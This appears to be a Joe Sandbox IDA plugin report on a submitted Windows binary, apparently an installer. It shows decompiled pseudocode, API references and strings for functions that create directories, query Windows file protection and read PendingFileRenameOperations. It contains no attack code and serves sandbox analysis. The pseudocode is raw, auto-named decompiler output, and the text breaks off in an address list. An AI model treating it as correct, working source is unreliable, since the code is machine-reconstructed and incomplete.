Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseHandleWait$CodeExitIdleInputMultipleObjectsProcess
String ID:
API String ID: 2750287839-0
Opcode ID: 5917eda15862926d7c0e30986b5aa3e6850667ac7e6dbbe4fcda712edbe667af
Instruction ID: 1fb8955f118ef69bc210d6eece1c5cf55282b31e3a6318546598b334ca376582
Opcode Fuzzy Hash: 5917eda15862926d7c0e30986b5aa3e6850667ac7e6dbbe4fcda712edbe667af
Instruction Fuzzy Hash: B40171B1504709BADF10EFE9CC45BDE77ACAF05325F10412BB914AB1D2CA7C9A44CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00477A74 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 210
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00477A74(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr* _v8;
				char _v9;
				char _v10;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				void* _t56;
				void* _t63;
				intOrPtr _t78;
				signed int _t110;
				intOrPtr _t121;
				intOrPtr _t142;
				intOrPtr _t158;
				intOrPtr _t170;
				intOrPtr _t171;
				intOrPtr _t180;
				intOrPtr _t182;
				intOrPtr _t185;
				intOrPtr _t186;
				intOrPtr _t193;
				void* _t198;
				void* _t199;
				intOrPtr _t200;
				void* _t208;

				_t208 = __fp0;
				_t195 = __esi;
				_t194 = __edi;
				_t151 = __ecx;
				_t198 = _t199;
				_t200 = _t199 + 0xffffffe4;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v32 = 0;
				_v20 = 0;
				_v16 = 0;
				_v8 = __eax;
				_push(_t198);
				_push(0x477d73);
				_push( *[fs:eax]);
				 *[fs:eax] = _t200;
				_v9 = 0;
				_push(_t198);
				_push(0x477d27);
				_push( *[fs:eax]);
				 *[fs:eax] = _t200;
				_t56 = E00465548( *0x4adf64, __ecx, 0);
				_t202 = _t56;
				if(_t56 == 0) {
					E00408C74();
				}
				E00414BB0( *((intOrPtr*)( *0x4adf64 + 0x208)),  &_v20, _t202);
				E00403598(0x4ae224, 0x4adf64, _v20, _t194, _t195);
				_t63 = E004657B0( *0x4adf64, 0x4adf64, _t151, _t194, _t195, _t202);
				_t203 = _t63;
				if(_t63 == 0) {
					E00408C74();
				}
				E00414BB0( *((intOrPtr*)( *0x4adf64 + 0x20c)),  &_v20, _t203);
				E00403598(0x4ae228, 0x4adf64, _v20, _t194, _t195);
				 *0x4ae22c = E0042B18C( *((intOrPtr*)( *0x4adf64 + 0x210)));
				 *0x4ae230 = E00463468( *0x4adf64);
				_push(0);
				_t170 =  *0x4ae234; // 0x21629f4
				E004636B4( *0x4adf64, 0x4adf64, 0, _t170, _t194, _t195);
				_t171 =  *0x4ae238; // 0x2162a20
				E00463824( *0x4adf64, 0x4adf64, 0, _t171, _t194, _t195, 0, 0);
				_t204 =  *0x4adfb8;
				if( *0x4adfb8 != 0) {
					E0046FA54( *0x4adfb8, 0x4adf64, _t194, _t195, _t204);
				}
				_t78 =  *0x48d628; // 0x2162410
				E004242A4(_t78);
				 *((intOrPtr*)( *_v8 + 0x50))();
				_t205 =  *0x4ae245 - 1;
				if( *0x4ae245 == 1) {
					_t142 =  *0x48d628; // 0x2162410
					SetActiveWindow( *(_t142 + 0x20));
					E00422ECC( *0x4adf64);
				}
				 *((intOrPtr*)( *((intOrPtr*)( *0x4adf64)) + 0x50))();
				E0047712C(_v8, 0, 1);
				E0046D3AC( &_v10, 0x4adf64, 0, _t194, _t195, _t205, _t208); // executed
				if(_v10 != 0) {
					E004777A8(0x4adf64, 1, _t194, _t195, _t198); // executed
					E0047712C(_v8, 1, 2);
					__eflags =  *0x4ae17e & 0x00000001;
					if(( *0x4ae17e & 0x00000001) != 0) {
						SHChangeNotify(0x8000000, 0, 0, 0);
					}
					__eflags =  *0x4ae181 & 0x00000004;
					if(( *0x4ae181 & 0x00000004) != 0) {
						E0045490C(1);
					}
					__eflags =  *0x4ae245;
					if( *0x4ae245 != 0) {
						E00422EC4();
					}
					_v28 =  *0x0048CA3C;
					_v24 = 0xb;
					E00455D54("Need to restart Windows? %s", 0x4adf64, 0,  &_v28, _t194, _t195);
					__eflags =  *0x4ae24e;
					if( *0x4ae24e == 0) {
						__eflags =  *0x4ae28c;
						if( *0x4ae28c == 0) {
							E00460724(0x50,  &_v16);
						} else {
							E00460724(0x4f,  &_v16);
						}
						E004035DC( &_v32, _v16);
						E004036C4( &_v32, 0x477db0);
						_t180 =  *0x48dbd4; // 0x2178414
						E004036C4( &_v32, _t180);
						E0046300C( *0x4adf64, 0x4adf64, 0, _v32, _t194, _t195, __eflags);
						_t158 =  *0x4ae238; // 0x2162a20
						_t182 =  *0x4ae234; // 0x21629f4
						E004630D4( *0x4adf64, 0x4adf64, _t158, _t182, _t194, _t195);
						_t110 =  *((intOrPtr*)( *( *( *((intOrPtr*)( *0x4adf64 + 0x2d0)) + 0xfc)) + 0x10))();
						_t110 = _t110 > 0;
						E00414B0C( *((intOrPtr*)( *0x4adf64 + 0x2d0)), _t158,  *( *( *((intOrPtr*)( *0x4adf64 + 0x2d0)) + 0xfc)) & 0xffffff00 | _t110 > 0x00000000, _t194);
					} else {
						__eflags =  *0x4adfbf;
						if(__eflags == 0) {
							E00460724(0x51,  &_v32);
							E0046300C( *0x4adf64, 0x4adf64, 0, _v32, _t194, _t195, __eflags);
							E00414B0C( *((intOrPtr*)( *0x4adf64 + 0x258)), 0, 1, _t194);
							E00414B0C( *((intOrPtr*)( *0x4adf64 + 0x25c)), 0, 1, _t194);
						}
					}
					__eflags =  *0x4ae245;
					if( *0x4ae245 == 0) {
						_t121 =  *0x48d628; // 0x2162410
						E004242A4(_t121);
						 *((intOrPtr*)( *_v8 + 0x50))();
					}
					_v9 = 1;
					_pop(_t185);
					 *[fs:eax] = _t185;
				} else {
					E00476930();
					_pop(_t193);
					 *[fs:eax] = _t193;
				}
				_pop(_t186);
				 *[fs:eax] = _t186;
				_push(0x477d7a);
				E00403548( &_v32);
				E00403548( &_v20);
				return E00403548( &_v16);
			}

0x00477a74
0x00477a74
0x00477a74
0x00477a74
0x00477a75
0x00477a77
0x00477a7a
0x00477a7b
0x00477a7c
0x00477a7f
0x00477a82
0x00477a85
0x00477a88
0x00477a92
0x00477a93
0x00477a98
0x00477a9b
0x00477a9e
0x00477aa4
0x00477aa5
0x00477aaa
0x00477aad
0x00477ab2
0x00477ab7
0x00477ab9
0x00477abb
0x00477abb
0x00477acb
0x00477ad8
0x00477adf
0x00477ae4
0x00477ae6
0x00477ae8
0x00477ae8
0x00477af8
0x00477b05
0x00477b17
0x00477b23
0x00477b28
0x00477b2c
0x00477b34
0x00477b3f
0x00477b47
0x00477b4c
0x00477b53
0x00477b5a
0x00477b5a
0x00477b5f
0x00477b64
0x00477b6e
0x00477b71
0x00477b78
0x00477b7a
0x00477b83
0x00477b8a
0x00477b8a
0x00477b93
0x00477b9d
0x00477ba5
0x00477bae
0x00477bc3
0x00477bd0
0x00477bd5
0x00477bdc
0x00477be9
0x00477be9
0x00477bee
0x00477bf5
0x00477bf7
0x00477bf7
0x00477bfc
0x00477c03
0x00477c07
0x00477c07
0x00477c1a
0x00477c1d
0x00477c2b
0x00477c30
0x00477c37
0x00477c7d
0x00477c84
0x00477c97
0x00477c86
0x00477c8b
0x00477c8b
0x00477ca2
0x00477caf
0x00477cb7
0x00477cbd
0x00477cc7
0x00477ccc
0x00477cd2
0x00477cda
0x00477cef
0x00477cf4
0x00477cf9
0x00477c39
0x00477c39
0x00477c40
0x00477c4b
0x00477c55
0x00477c64
0x00477c73
0x00477c73
0x00477c40
0x00477cfe
0x00477d05
0x00477d07
0x00477d0c
0x00477d16
0x00477d16
0x00477d19
0x00477d1f
0x00477d22
0x00477bb0
0x00477bb0
0x00477bb7
0x00477bba
0x00477bba
0x00477d4f
0x00477d52
0x00477d55
0x00477d5d
0x00477d65
0x00477d72

APIs

SetActiveWindow.USER32(?,?,00000000,00477D73,?,?,00000001,?), ref: 00477B83
SHChangeNotify.SHELL32(08000000,00000000,00000000,00000000), ref: 00477BE9

Strings

Need to restart Windows? %s, xrefs: 00477C26
, xrefs: 00477CAA

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ActiveChangeNotifyWindow
String ID: $Need to restart Windows? %s
API String ID: 1160245247-4200181552
Opcode ID: 219883ad965e97e5bf244b95060c0e4a642d34d1cef0d483a05b57c28bcc9892
Instruction ID: d3f02237412e89892c7930d271b9ef2760b6198a5a67d929d28789f2d65efbe3
Opcode Fuzzy Hash: 219883ad965e97e5bf244b95060c0e4a642d34d1cef0d483a05b57c28bcc9892
Instruction Fuzzy Hash: 7981A6306042449FDB14EF69D881B9E77F4EF46308F5084BBE8149B362D778A905CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 004682DC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004682DC(signed int __eax, void* __ebx, signed int __ecx, char __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				char _v8;
				signed int _v9;
				char _v10;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				void* _t92;
				signed int _t103;
				intOrPtr* _t108;
				signed int _t133;
				signed int _t138;
				intOrPtr _t153;
				void* _t158;
				void* _t174;
				void* _t176;

				_t176 = __eflags;
				_t169 = __edi;
				_t135 = __ecx;
				_push(__esi);
				_push(__edi);
				_v16 = 0;
				_v20 = 0;
				_v44 = 0;
				_v48 = 0;
				_v9 = __ecx;
				_v8 = __edx;
				_t133 = __eax;
				E00403870(_v8);
				_push(_t174);
				_push(0x4684d9);
				_push( *[fs:eax]);
				 *[fs:eax] = _t174 + 0xffffffd0;
				_v10 = 0;
				E0042C81C(_v8,  &_v20);
				E0042CBC4(_v20, _t135,  &_v16, _t176);
				E004035DC( &_v8, _v16);
				E0042C944(_v8, _t135,  &_v16);
				_t177 = _v16;
				if(_v16 == 0) {
					L16:
					_pop(_t153);
					 *[fs:eax] = _t153;
					_push(0x4684e0);
					E00403568( &_v48, 2);
					E00403568( &_v20, 2);
					return E00403548( &_v8);
				}
				_t92 = E0045149C(_t133, _v8, _t177); // executed
				if(_t92 == 0) {
					_push(_a4);
					E0042C8BC(_v8, _t135,  &_v16);
					_push(_v16);
					_t138 =  *0x4684ec; // 0x2
					_pop(_t158); // executed
					E004682DC(_t133, _t133,  !_t138 & _v9, _t158, __edi, __esi, __eflags); // executed
					_v28 = _v8;
					_v24 = 0xb;
					_t142 = 0;
					E00455D54("Creating directory: %s", _t133, 0,  &_v28, __edi, __esi);
					_t103 = E00451324(_t133, _v8, __eflags); // executed
					__eflags = _t103;
					if(_t103 == 0) {
						_t133 = GetLastError();
						E00450B18(0x2f,  &_v20, _v8);
						_v40 = _v20;
						E00406DFC(_t133,  &_v44);
						_v36 = _v44;
						E0042E6D0(_t133,  &_v48);
						_v32 = _v48;
						E00450AE8(0x60, 2,  &_v40,  &_v16);
						_t142 = _v16;
						E00408CA0(_v16, 1);
						E00403264();
					}
					_v10 = 1;
					__eflags = _v9 & 0x00000008;
					if((_v9 & 0x00000008) != 0) {
						SHChangeNotify(8, 1, E00403880(_v8), 0);
						E0042C8BC(_v8, _t142,  &_v16);
						SHChangeNotify(0x1000, 0x1001, E00403880(_v16), 0);
					}
					L8:
					if((_v9 & 0x00000004) == 0) {
						__eflags = _v9 & 0x00000001;
						if((_v9 & 0x00000001) == 0) {
							_t171 = 2;
							__eflags = _t133;
							if(_t133 != 0) {
								_t171 = 0x22;
								__eflags = 2;
							}
							__eflags = _v9 & 0x00000008;
							if((_v9 & 0x00000008) != 0) {
								__eflags = _t171;
							}
							_v52 = _v8;
							E00457278( *((intOrPtr*)(_a4 - 4)), _t133,  &_v52, 0x81, _t169, _t171, _t171, 0);
						}
					} else {
						_t108 =  *0x4ae26c; // 0x2162bb8
						 *((intOrPtr*)( *_t108 + 0x30))();
					}
					goto L16;
				}
				if((_v9 & 0x00000002) == 0) {
					goto L16;
				} else {
					goto L8;
				}
			}

0x004682dc
0x004682dc
0x004682dc
0x004682e3
0x004682e4
0x004682e7
0x004682ea
0x004682ed
0x004682f0
0x004682f3
0x004682f6
0x004682f9
0x004682fe
0x00468305
0x00468306
0x0046830b
0x0046830e
0x00468311
0x0046831b
0x00468326
0x00468331
0x0046833c
0x00468341
0x00468345
0x004684a9
0x004684ab
0x004684ae
0x004684b1
0x004684be
0x004684cb
0x004684d8
0x004684d8
0x00468350
0x00468357
0x0046836b
0x00468372
0x0046837a
0x0046837b
0x00468388
0x00468389
0x00468392
0x00468395
0x0046839c
0x004683a3
0x004683ad
0x004683b2
0x004683b4
0x004683bb
0x004683c9
0x004683d1
0x004683d9
0x004683e1
0x004683e9
0x004683f1
0x004683fe
0x00468403
0x0046840d
0x00468412
0x00468412
0x00468417
0x0046841b
0x0046841f
0x00468430
0x0046843d
0x00468455
0x00468455
0x0046845a
0x0046845e
0x00468473
0x00468477
0x00468479
0x0046847e
0x00468480
0x00468482
0x00468482
0x00468482
0x00468485
0x00468489
0x0046848b
0x0046848b
0x00468494
0x004684a4
0x004684a4
0x00468460
0x00468467
0x0046846e
0x0046846e
0x00000000
0x0046845e
0x0046835d
0x00000000
0x00468363
0x00000000
0x00468363

APIs

Part of subcall function 0042C81C: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C840

Part of subcall function 0042CBC4: CharPrevA.USER32(00000000,00000000,?,?,?,00000000,0042CD0A,00000000,0042CD30,?,?,?,00000000,00000000,?,0042CD45), ref: 0042CBEC

GetLastError.KERNEL32(00000000,004684D9,?,?,00000001,004AE064), ref: 004683B6
SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 00468430
SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 00468455

Strings

Creating directory: %s, xrefs: 0046839E

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ChangeNotify$CharErrorFullLastNamePathPrev
String ID: Creating directory: %s
API String ID: 2168629741-483064649
Opcode ID: f1cb742da8d3e2a930c6db133d36d8361f831a3e880e7da6ba55a63c83772f20
Instruction ID: 7d789868f9cce9af9f7365a105495f9b42d68ffbac0df78c77a177914cd324d8
Opcode Fuzzy Hash: f1cb742da8d3e2a930c6db133d36d8361f831a3e880e7da6ba55a63c83772f20
Instruction Fuzzy Hash: 89513634E00249ABDB00DFA5C982BDEB7F5AF48304F50856EE850B7391EB795E04CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004535A0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E004535A0(void* __eax, void* __ebx, void* __edx, void* __edi, intOrPtr __esi) {
				char _v8;
				short _v8200;
				char _v8204;
				char _v8208;
				char _v8212;
				void* _t29;
				int _t41;
				void* _t46;
				intOrPtr _t62;
				char _t64;
				intOrPtr _t72;
				void* _t82;
				void* _t85;
				void* _t86;

				_t83 = __esi;
				_t85 = _t86;
				_push(__eax);
				_t29 = 2;
				do {
					_t86 = _t86 + 0xfffff004;
					_push(_t29);
					_t29 = _t29 - 1;
				} while (_t29 != 0);
				_push(__ebx);
				_push(__esi);
				_v8204 = 0;
				_v8208 = 0;
				_v8212 = 0;
				_v8 = 0;
				_t82 = __edx;
				_t64 = _v8;
				_push(_t85);
				_push(0x453714);
				_push( *[fs:eax]);
				 *[fs:eax] = _t86 + 0xfffffff4;
				if( *0x48dee4 == 0) {
					E0042D80C( &_v8212);
					E0042C4C4(_v8212,  &_v8208);
					E004036C4( &_v8208, "sfc.dll");
					E00403674( &_v8204, E00403880(_v8208));
					_t62 = E0042E250(_v8204, _t64, 0x8000); // executed
					_t83 = _t62;
					if(_t83 != 0) {
						_push("SfcIsFileProtected");
						_push(_t83);
						L00405A9C();
						 *0x48dee8 = _t62;
					}
					 *0x48dee4 = 1;
				}
				if( *0x48dee8 != 0) {
					E0042C81C(_t82,  &_v8);
					if(_t64 == 0) {
						E00452514(_v8, _t64, 0,  &_v8204, _t82, _t83);
						E004035DC( &_v8, _v8204);
					}
					_t41 = E004036BC(_v8);
					 *((short*)(_t85 + MultiByteToWideChar(0, 0, E00403880(_v8), _t41,  &_v8200, 0xfff) * 2 - 0x2004)) = 0;
					if(_v8200 == 0) {
						L11:
					} else {
						_t46 =  *0x48dee8(0,  &_v8200); // executed
						if(_t46 == 0) {
							goto L11;
						}
					}
				}
				_pop(_t72);
				 *[fs:eax] = _t72;
				_push(0x45371b);
				E00403568( &_v8212, 3);
				return E00403548( &_v8);
			}

0x004535a0
0x004535a1
0x004535a3
0x004535a4
0x004535a9
0x004535a9
0x004535af
0x004535b0
0x004535b0
0x004535b9
0x004535ba
0x004535be
0x004535c4
0x004535ca
0x004535d0
0x004535d3
0x004535d5
0x004535d9
0x004535da
0x004535df
0x004535e2
0x004535ec
0x004535f4
0x00453605
0x00453615
0x0045362d
0x0045363d
0x00453642
0x00453646
0x00453648
0x0045364d
0x0045364e
0x00453653
0x00453653
0x00453658
0x00453658
0x00453666
0x00453671
0x00453678
0x00453683
0x00453691
0x00453691
0x004536a5
0x004536bd
0x004536cf
0x004536e4
0x004536d1
0x004536da
0x004536e2
0x00000000
0x00000000
0x004536e2
0x004536cf
0x004536f0
0x004536f3
0x004536f6
0x00453706
0x00453713

APIs

6C8D5550.KERNEL32(00000000,SfcIsFileProtected,00000000,00453714), ref: 0045364E
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,00453714), ref: 004536B8

Strings

SfcIsFileProtected, xrefs: 00453648
sfc.dll, xrefs: 00453610

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ByteCharD5550MultiWide
String ID: SfcIsFileProtected$sfc.dll
API String ID: 2811115374-591603554
Opcode ID: 10261435de4ae9b06394bc9a324ab7858c06d9ac19c4e1deedf2d297263d8c0c
Instruction ID: 1080a8b8f05c2285e4028fb1a0b0b0b0736e4f1e3e2d6b590f5a5cfcaecd4d0c
Opcode Fuzzy Hash: 10261435de4ae9b06394bc9a324ab7858c06d9ac19c4e1deedf2d297263d8c0c
Instruction Fuzzy Hash: 04419670A00218ABE720EF55CC85B9E77B8EB44346F5045BBE908A7392D7789F48DA18

Uniqueness

Uniqueness Score: -1.00%

Function 004541B4 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 41
registryCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E004541B4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _v8;
				void* __ecx;
				void* __ebp;
				void* _t7;
				intOrPtr _t27;
				intOrPtr _t31;
				intOrPtr _t33;

				_t31 = _t33;
				_t7 = E0042DCB4(0, "SYSTEM\\CurrentControlSet\\Control\\Session Manager", 0x80000002,  &_v8, 1, 0); // executed
				if(_t7 != 0) {
					return _t7;
				} else {
					_push(_t31);
					_push(0x454218);
					_push( *[fs:eax]);
					 *[fs:eax] = _t33;
					E004540E8(_v8, __ebx, "PendingFileRenameOperations", __edi, __esi, _t31); // executed
					E004540E8(_v8, __ebx, "PendingFileRenameOperations2", __edi, __esi, _t31); // executed
					_pop(_t27);
					 *[fs:eax] = _t27;
					_push(0x45421f);
					return RegCloseKey(_v8);
				}
			}

0x004541b5
0x004541cc
0x004541d3
0x00454221
0x004541d5
0x004541d7
0x004541d8
0x004541dd
0x004541e0
0x004541ec
0x004541fb
0x00454203
0x00454206
0x00454209
0x00454217
0x00454217

APIs

Part of subcall function 0042DCB4: 6C8D6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004783BF,?,00000001,?,?,004783BF,?,00000001,00000000), ref: 0042DCD0

RegCloseKey.ADVAPI32(?,0045421F,?,00000001,00000000), ref: 00454212

Strings

PendingFileRenameOperations, xrefs: 004541E4
PendingFileRenameOperations2, xrefs: 004541F3
SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 004541C0

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseD6790
String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager
API String ID: 3513276378-2115312317
Opcode ID: 7952b933e601e31c3134de1c1834e2b8603df5e294ab7a413bef5ef84e27e09b
Instruction ID: c798bacfa756c0e5034ad30e8c50e244f89f96b57903828c66e2d8538055c7c3
Opcode Fuzzy Hash: 7952b933e601e31c3134de1c1834e2b8603df5e294ab7a413bef5ef84e27e09b
Instruction Fuzzy Hash: B6F0F6322482086FDB04D6E2DC03E1A73DCC7C4759FB184A7F9009FA82DA78AE54921C

Uniqueness

Uniqueness Score: -1.00%

Function 0046A478 Relevance: 6.3, APIs: 4, Instructions: 263
fileCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E0046A478(char __eax, void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char _a16, intOrPtr _a20, intOrPtr _a24) {
				void* _v5;
				intOrPtr _v12;
				signed int _v16;
				signed int _v17;
				signed int _v24;
				char _v28;
				signed int _v32;
				char _v36;
				void* _v40;
				intOrPtr _v44;
				char _v48;
				struct _WIN32_FIND_DATAA _v368;
				char _v372;
				char _v376;
				void* _t145;
				signed int _t146;
				intOrPtr _t153;
				intOrPtr _t157;
				signed int _t178;
				int _t181;
				signed char _t201;
				signed char _t202;
				int _t205;
				void* _t219;
				intOrPtr* _t229;
				intOrPtr _t245;
				intOrPtr _t258;
				intOrPtr _t275;
				intOrPtr _t283;
				void* _t294;
				void* _t295;
				intOrPtr _t296;

				_t292 = __esi;
				_t291 = __edi;
				_t294 = _t295;
				_t296 = _t295 + 0xfffffe8c;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v372 = 0;
				_v376 = 0;
				_v24 = 0;
				_v28 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v5 = __eax;
				_push(_t294);
				_push(0x46a817);
				_push( *[fs:eax]);
				 *[fs:eax] = _t296;
				_push(_v12);
				_push(_v16);
				_push(_a20);
				E0040377C();
				_v17 = 0;
				_t241 =  &_v368;
				_t145 = E0045157C(_v5,  &_v368, _v24, __eflags); // executed
				_v40 = _t145;
				if(_v40 == 0xffffffff) {
					_t146 = _a12;
					__eflags =  *(_t146 + 0x4c) & 0x00000020;
					if(( *(_t146 + 0x4c) & 0x00000020) == 0) {
						L23:
						__eflags = _v16;
						if(_v16 != 0) {
							_t153 = _a12;
							__eflags =  *(_t153 + 0x4d) & 0x00000002;
							if(( *(_t153 + 0x4d) & 0x00000002) != 0) {
								__eflags = _v17;
								if(_v17 == 0) {
									E00471AF8( *((intOrPtr*)(_a12 + 4)), _t241,  &_v36);
									_t157 = _a12;
									__eflags =  *(_t157 + 0x4b) & 0x00000010;
									if(( *(_t157 + 0x4b) & 0x00000010) != 0) {
										E0042C96C(_v36, _t241,  &_v372);
										E00403708( &_v36, _v16, _v372);
									} else {
										E004036C4( &_v36, _v16);
									}
									_t245 =  *0x46a844; // 0x0
									E004682DC(_v5, 0, _t245, _v36, _t291, _t292, __eflags,  *((intOrPtr*)(_a24 + 8)));
									_v17 = 1;
								}
							}
						}
						E0046704C();
						__eflags = 0;
						_pop(_t258);
						 *[fs:eax] = _t258;
						_push(0x46a81e);
						E00403568( &_v376, 2);
						return E00403568( &_v36, 4);
					} else {
						E004035DC( &_v372, _v12);
						E004036C4( &_v372, _v16);
						E004036C4( &_v372, 0x46a834);
						_t241 =  &_v368;
						_v40 = E0045157C(_v5,  &_v368, _v372, __eflags);
						__eflags = _v40 - 0xffffffff;
						if(_v40 == 0xffffffff) {
							goto L23;
						} else {
							__eflags = 0;
							_push(_t294);
							_push(0x46a76b);
							_push( *[fs:eax]);
							 *[fs:eax] = _t296;
							do {
								_t178 = E00472AE8( &_v368);
								__eflags = _t178;
								if(_t178 != 0) {
									E004035DC( &_v372, _v16);
									E004036A4( &_v376, 0x104,  &(_v368.cFileName));
									E004036C4( &_v372, _v376);
									E004036C4( &_v372, 0x46a840);
									_t201 = E0046A478(_v5, 0, _v372, _v12, _t291, _t292, __eflags, _a4, _a8, _a12, _a16, _a20, _a24) | _v17;
									__eflags = _t201;
									_v17 = _t201;
								}
								_t181 = FindNextFileA(_v40,  &_v368);
								__eflags = _t181;
							} while (_t181 != 0);
							__eflags = 0;
							_pop(_t275);
							 *[fs:eax] = _t275;
							_push(0x46a772);
							return FindClose(_v40);
						}
					}
				} else {
					_push(_t294);
					_push(0x46a649);
					_push( *[fs:edx]);
					 *[fs:edx] = _t296;
					do {
						_t202 = _v368.dwFileAttributes;
						if((_t202 & 0x00000010) == 0) {
							if(_a16 == 0) {
								E004035DC( &_v28, _a20);
								L7:
								_v17 = 1;
								_push(_v12);
								_push(_v16);
								_push(_v28);
								E0040377C();
								E00471AF8( *((intOrPtr*)(_a12 + 4)), _t241,  &_v36);
								if(( *(_a12 + 0x4b) & 0x00000010) != 0) {
									__eflags = _v16;
									if(_v16 != 0) {
										E0042C96C(_v36, _t241,  &_v372);
										_push(_v372);
										_push(_v16);
										E0042C944(_v36, _t241,  &_v376);
										_push(_v376);
										E0040377C();
									}
								} else {
									_push(_v36);
									_push(_v16);
									_push(_v28);
									E0040377C();
								}
								_v44 = _v368.nFileSizeHigh;
								_v48 = _v368.nFileSizeLow;
								_t219 = E004300A4( &_v48, _a4);
								_t304 = _t219;
								if(_t219 > 0) {
									_t229 = _a4;
									_v48 =  *_t229;
									_v44 =  *((intOrPtr*)(_t229 + 4));
								}
								E00468C28(_a12, 0, _v32, _v5, _t291, _t292, _t304,  &_v48, _a8, _v36,  *((intOrPtr*)(_a24 + 8))); // executed
								_pop(_t241);
								E004300CC(_a4,  &_v48);
							} else {
								if((_t202 & 0x00000002) == 0) {
									_t241 = 0x104;
									E004036A4( &_v28, 0x104,  &(_v368.cFileName));
									goto L7;
								}
							}
						}
						_t205 = FindNextFileA(_v40,  &_v368); // executed
					} while (_t205 != 0);
					_pop(_t283);
					 *[fs:eax] = _t283;
					_push(0x46a650);
					return FindClose(_v40);
				}
			}

0x0046a478
0x0046a478
0x0046a479
0x0046a47b
0x0046a481
0x0046a482
0x0046a483
0x0046a486
0x0046a48c
0x0046a492
0x0046a495
0x0046a498
0x0046a49b
0x0046a49e
0x0046a4a1
0x0046a4a4
0x0046a4a9
0x0046a4aa
0x0046a4af
0x0046a4b2
0x0046a4b5
0x0046a4b8
0x0046a4bb
0x0046a4c6
0x0046a4cb
0x0046a4cf
0x0046a4db
0x0046a4e0
0x0046a4e7
0x0046a650
0x0046a653
0x0046a657
0x0046a772
0x0046a772
0x0046a776
0x0046a778
0x0046a77b
0x0046a77f
0x0046a781
0x0046a785
0x0046a790
0x0046a795
0x0046a798
0x0046a79c
0x0046a7b4
0x0046a7c5
0x0046a79e
0x0046a7a4
0x0046a7a4
0x0046a7d1
0x0046a7dd
0x0046a7e3
0x0046a7e3
0x0046a785
0x0046a77f
0x0046a7e7
0x0046a7ec
0x0046a7ee
0x0046a7f1
0x0046a7f4
0x0046a804
0x0046a816
0x0046a65d
0x0046a666
0x0046a674
0x0046a684
0x0046a68f
0x0046a69d
0x0046a6a0
